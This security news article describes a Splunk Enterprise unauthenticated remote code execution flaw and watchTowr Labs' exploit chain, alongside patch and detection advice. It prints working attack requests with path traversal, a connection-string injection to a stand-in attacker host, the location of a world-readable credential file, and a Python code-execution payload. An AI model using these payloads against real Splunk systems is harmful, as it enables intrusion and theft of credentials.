Critical Splunk Flaw CVE-2026-20253 Exposes AWS Deployments

A critical unauthenticated remote code execution vulnerability has been discovered in Splunk Enterprise’s PostgreSQL Sidecar Service, earning a near-perfect CVSS score of 9.8.

Tracked as CVE-2026-20253, the flaw was disclosed by Splunk on June 10, 2026, and has since been analyzed in depth by watchTowr Labs, which demonstrated a full exploit chain leading to arbitrary file write and remote code execution, no credentials required.

The vulnerability resides in Splunk Enterprise’s PostgreSQL Sidecar Service Endpoint, a component introduced in Splunk version 10.

The sidecar service exposes an internal HTTP API at 127.0.0.1:5435, which handles PostgreSQL database backup and restore operations.

While the service is bound to the loopback interface, the main Splunk web application listening on all interfaces at port 8000 acts as a proxy, forwarding unauthenticated requests directly to this internal API.

The core issue is shockingly simple: the PostgreSQL Sidecar Service performs no authentication whatsoever. Any network-reachable user can invoke sensitive file operations by sending crafted HTTP requests to /en-US/splunkd/__raw/v1/postgres/recovery/backup or /v1/postgres/recovery/restore with an empty Authorization: Basic Og== header (which represents blank credentials).

Affected Versions

Not all Splunk deployments are equally exposed. The attack surface varies significantly by deployment type:

Splunk Enterprise on-premise (Windows) — PostgreSQL Sidecar Service is not installed by default in some configurations
Splunk Enterprise on-premise (Windows, certain builds) — Service is installed but not enabled by default
Splunk Enterprise on AWS — PostgreSQL Sidecar Service is installed and enabled by default, making it vulnerable out of the box

All Splunk Enterprise versions 10.x and above are affected, as the Sidecar concept was introduced in version 10. Organizations running cloud-hosted Splunk on AWS should treat this as an active critical risk.

watchTowr Labs reverse-engineered the splunk-postgres binary and mapped out two vulnerable API endpoints: /v1/postgres/recovery/backup and /v1/postgres/recovery/restore. Here is how the attack chain unfolds:

Step 1 — Unauthenticated File Write via /backup

The backup endpoint accepts a backupFile parameter and passes it directly to pg_dump as the -f output argument. Combined with path traversal, an attacker can write a file to any location on the filesystem:

POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1
Authorization: Basic Og==
Content-Type: application/json

{"database":"search_metadata","backupFile":"../../../../../tmp/evil"}

Step 2 — PostgreSQL Connection Hijacking via Connection String Injection

The database parameter is passed directly to pg_dump as the dbname argument. PostgreSQL allows connection strings to be embedded in the dbname field, which overrides hardcoded -h localhost. This lets attackers redirect the database connection to an attacker-controlled server:

{"database":"hostaddr=attacker.db.example.com","backupFile":"/tmp/poc"}

Step 3 — Credential Discovery via .pgpass

watchTowr found that Splunk stores its local PostgreSQL credentials in a world-readable .pgpass file at /opt/splunk/var/packages/data/postgres/.pgpass, containing the postgres_admin credentials in plaintext. The passfile connection string parameter can be injected to make pg_restore use these credentials automatically.

Step 4 — Malicious SQL Execution via /restore

By combining the above primitives, an attacker can dump an attacker-controlled PostgreSQL database onto the Splunk filesystem, then trigger a restore operation that executes attacker-controlled SQL, including PostgreSQL’s lo_export() function to write arbitrary content to any file path.

Step 5 — RCE via Python Script Overwrite

Splunk regularly executes /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py. Overwriting this file with a malicious payload achieves full code execution as the splunk user:

import os; os.system("id > /opt/splunk/share/splunk/search_mrsparkle/exposed/watchTowr.txt")

Mitigation

watchTowr Labs has released a Detection Artifact Generator (DAG) on GitHub that tests whether your Splunk instance is vulnerable by checking HTTP response codes on the backup endpoint. A 400 response indicates vulnerability; a 401 confirms the fix is applied.

python3 watchTowr-vs-Splunk-RCE-CVE-2026-20253.py -H http://vulnerable.splunk.lab:8000 -r en-US

Organizations should immediately apply Splunk’s official patch from the SVD-2026-0603 advisory. If patching is not immediately possible, consider blocking external access to port 8000 at the network perimeter and monitoring for anomalous requests to /en-US/splunkd/__raw/v1/postgres/ paths in web access logs.

FAQ

Q1: Does CVE-2026-20253 require authentication to exploit?
No, the vulnerability requires zero authentication; an empty Authorization: Basic Og== header (blank credentials) is sufficient to invoke backup and restore operations against the PostgreSQL Sidecar Service.

Q2: Is my on-premise Splunk Enterprise installation vulnerable?
It depends on your setup. Splunk Enterprise on AWS is vulnerable by default, whereas on-premises Windows installations may not have the PostgreSQL Sidecar Service enabled; verify this and apply the patch regardless.

Q3: What can an attacker achieve by exploiting this vulnerability?
A remote unauthenticated attacker can achieve full arbitrary file write on the Splunk server and ultimately remote code execution as the splunk user by chaining the backup, connection hijacking, and restore primitives together.

Q4: Where can I find the official patch and detection tool for CVE-2026-20253?
The official Splunk patch is available at the SVD-2026-0603 advisory page on advisory.splunk.com, and watchTowr Labs’ open-source detection script is available at their GitHub repository under watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253.

Site: thecybrdef.com

For more insights and updates, follow us on Google News, Twitter, and LinkedIn.